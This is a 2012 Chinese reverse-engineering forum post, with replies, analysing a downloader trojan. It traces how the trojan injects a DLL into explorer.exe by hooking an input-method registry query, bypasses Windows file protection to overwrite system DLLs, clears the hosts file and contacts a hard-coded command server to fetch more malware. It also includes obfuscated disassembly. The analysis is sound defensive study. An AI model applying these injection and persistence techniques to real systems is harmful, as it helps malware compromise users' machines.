首页
社区
课程
招聘
[原创]简单分析一下载者木马
发表于: 2012-3-21 00:40 20068

[原创]简单分析一下载者木马

2012-3-21 00:40
20068

这个病毒是最近求职要求分析,因为水平比较菜,所以很多地方没有自己分析到,只是简单的分析了一下行为,网络相关知识很菜所以写的很简单。贴出来给大家一起与大家一起研究研究。如有错误的地方和没分析到地方,希望大家指出。在此先谢大家了。

  一、行为简述
  该程序释放病毒文件,病毒文件运行后注入系统进程后进行以下操作:
1.操纵用户电脑停止和禁止安全软件运行.
2.破坏一些系统可关闭的服务文件,并把病毒文件写入系统文件隐藏自己。
3.下载病毒作者指定的病毒来对系统做更大的破坏。

二 简要流程图

三 病毒详细分析
基本流程
  1.程序执行后释放02306fe3.exe病毒文件并执行。
  2.程序建立文件InfoTemp.txt用于记录一些信息。
  3.病毒会在system32目录生成一个以.*.tmp结尾的随机数命名的文件。
  4.然后挂钩HOOK本进程空间的imm32.dll导出的ImmLoadLayout函数和ntdll.dll导                     出的ZwQueryValueKey。
  5.被挂钩的ZwQueryValueKey的处理流程是:若查询的键值是“Ime File”,则把之   前生成的tmp文件名拷贝到输入缓冲区中返回给调用者,其它情况恢复原来流程执行。
  6.显式调用user32的函数LoadKeyboardLayoutA来加载新的键盘布局,该函数经过win32k的处理后最终调用ntdll的ZwQueryValueKey,所以病毒生成的tmp文件被返回给系统。
  7.通过FindWindow(0, “Program Manager”); 找到explorer.exe的窗口句柄,并调用                                                                                                    PostMessage向该窗口发送WM_INPUTLANGCHANGEREQUEST消息。
  8. 这样Explorer.exe就将病毒动态库加载起来了。
          9. 02306fe3.exe程序退出
          10. *.tmp程序运行后释放随机命名的*.sys文件并修改文件时间隐藏自己
          11. 创建服务并启动。
          12.*.sys文件启动后创建设备"\\\\.\\Guntior",用于与.temp程序联系。
          13. 通过查询InfoTemp文件删除02306fe3.exe。
          14. 通过调用C:\WINDOWS\system32\sfc_os.dll导出ID为5的函数,修改系统文件
   C:\WINDOWS\system32\appmgmts.dll文件,把自身内容写入appmgmts.dll文  件。
          15. 启动AppMgmt服务,appmgmts.dll被加载到svchost.exe中,获得执行。
          16.修改C:\WINDOWS\system32\wbem\wbemcons.dll文件,
      修改C:\WINDOWS\system32\MSCTF.dll文件,
      并启动这个服务。
          17. 修改C:\WINDOWS\system32\dmlocalsvc.dll文件,
  修改C:\WINDOWS\system32\apphelp.dll文件
          18. 删除*.temp文件。
         19.清空Hosts文件。
         20.Svchost.exe程序中病毒文件启动IE 命令行 "C:\Program  Files\InternetExplorer\iexplore.exe" http://72.8.141.240:8080/htm/mac.htm?48 .
             21.连接成功按照返回的信息写入InfoTemp中,执行指定操作下载程序并执行
     

       因为第一次写文档,也不知道写点啥,所以比较乱。大家对付看把。
 顺便请教个问题,以下代码是自己用什么工具生成的?还是自己写的?
 
.text:00401087         push    1
.text:00401089         push    0
.text:0040108B         call    sub_40352C
.text:00401090         push    0                       ; uExitCode
.text:00401092         call    ds:ExitProcess

.text:0040352C sub_40352C proc near                    ; CODE XREF: DllEntryPoint+B
.text:0040352C         push    0AB7175FDh
.text:00403531         call    sub_43BD2C

.UPX0:0043BD2C         push    0C5C9224Ch
.UPX0:0043BD31         call    sub_4047A8
.UPX0:0043BD36
.UPX0:0043BD36 loc_43BD36:                             ; CODE XREF: sub_401D43+7j
.UPX0:0043BD36         mov     [esp+0], bh
.UPX0:0043BD39         mov     word ptr [esp+arg_4], 56Bh
.UPX0:0043BD40         pushf
.UPX0:0043BD41         mov     [esp+28h], esi
.UPX0:0043BD45         jmp     loc_4046BF

.text:004047A8         pushf
.text:004047A9         mov     byte ptr [esp+4+var_4], 0FCh
.text:004047AD         mov     [esp+4+arg_0], edx
.text:004047B1         pusha
.text:004047B2         push    edx
.text:004047B3         mov     [esp+28h], ebx
.text:004047B7         push    [esp+28h+var_28]
.text:004047BA         mov     [esp+2Ch+var_2C], 0FD1Ah
.text:004047C0         pushf
.text:004047C1         mov     [esp+30h+var_4], esi
.text:004047C5         call    sub_43BDDD
.text:004047CA
.text:004047CA loc_4047CA:                             ; CODE XREF: sub_43B795-36CF3.text:004047CA         pushf
.text:004047CB         mov     [esp+4+arg_24], eax
.text:004047CF         push    esi
.text:004047D0         pushf
.text:004047D1         pop     [esp+0Ch+arg_1C]
.text:004047D5         jmp     loc_40BBFB

UPX0:0043BDDD sub_43BDDD proc near                    ; CODE XREF: sub_4047A8+1Dp
.UPX0:0043BDDD
.UPX0:0043BDDD var_8   = byte ptr -8
.UPX0:0043BDDD arg_28  = dword ptr  2Ch
.UPX0:0043BDDD arg_3C  = dword ptr  40h
.UPX0:0043BDDD
.UPX0:0043BDDD         mov     [esp+0], bl
.UPX0:0043BDE0         mov     [esp+arg_28], esi
.UPX0:0043BDE4         push    0F15DB0B1h
.UPX0:0043BDE9         call    sub_401E0B
.UPX0:0043BDEE
.UPX0:0043BDEE loc_43BDEE:                             ; CODE XREF: sub_40BBAF:l
.UPX0:0043BDEE         pushf
.UPX0:0043BDEF         mov     [esp+8+var_8], dl
.UPX0:0043BDF2         mov     [esp+8+arg_3C], edi
.UPX0:0043BDF6         call    sub_43B978


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 6
支持
分享
最新回复 (17)
雪    币: 114
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
膜拜 伟哥 。。。
2012-3-21 17:10
0
雪    币: 2
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
3
受教了,共同学习!
2012-3-21 18:32
0
雪    币: 215
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
这个病毒看的真心蛋疼,VM一坨一坨的。。。。
2012-3-24 20:01
0
雪    币: 215
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
看了一下,好像是注册了一个输入法,具体的dll是KBDUS.dll这个用来注入的。
2012-3-24 20:12
0
雪    币: 793
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
分析得很好很清晰
2012-3-28 08:32
0
雪    币: 452
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
学习了
2012-3-29 11:41
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
不是IDA Pro生成的吗?
2012-4-12 12:36
0
雪    币: 195
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
分析的很详细 膜拜
2012-4-12 14:27
0
雪    币: 122
活跃值: (72)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
10
哥哥。好生厉害
2012-4-16 09:31
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
输入法插进程而已,没什么好说的
2012-4-16 09:50
0
雪    币: 82
活跃值: (281)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
代码似乎vmp生成的
2012-4-16 12:05
0
雪    币: 105
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
膜拜啊!牛人!学习了!
2013-1-8 16:08
0
雪    币: 180
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
传说中的鬼影6呀
2013-1-9 10:03
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
这个病毒好忙...
2013-3-14 20:30
0
雪    币: 19
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
这个病毒的确很忙,还是一坨一坨的
2013-3-15 14:19
0
雪    币: 148
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
我有个病毒,劳烦楼主帮忙分析下吧,不知可否
2013-4-3 00:33
0
雪    币: 18
活跃值: (33)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
我为什么下载不了
2013-4-11 23:25
0
游客
登录 | 注册 方可回帖
返回
//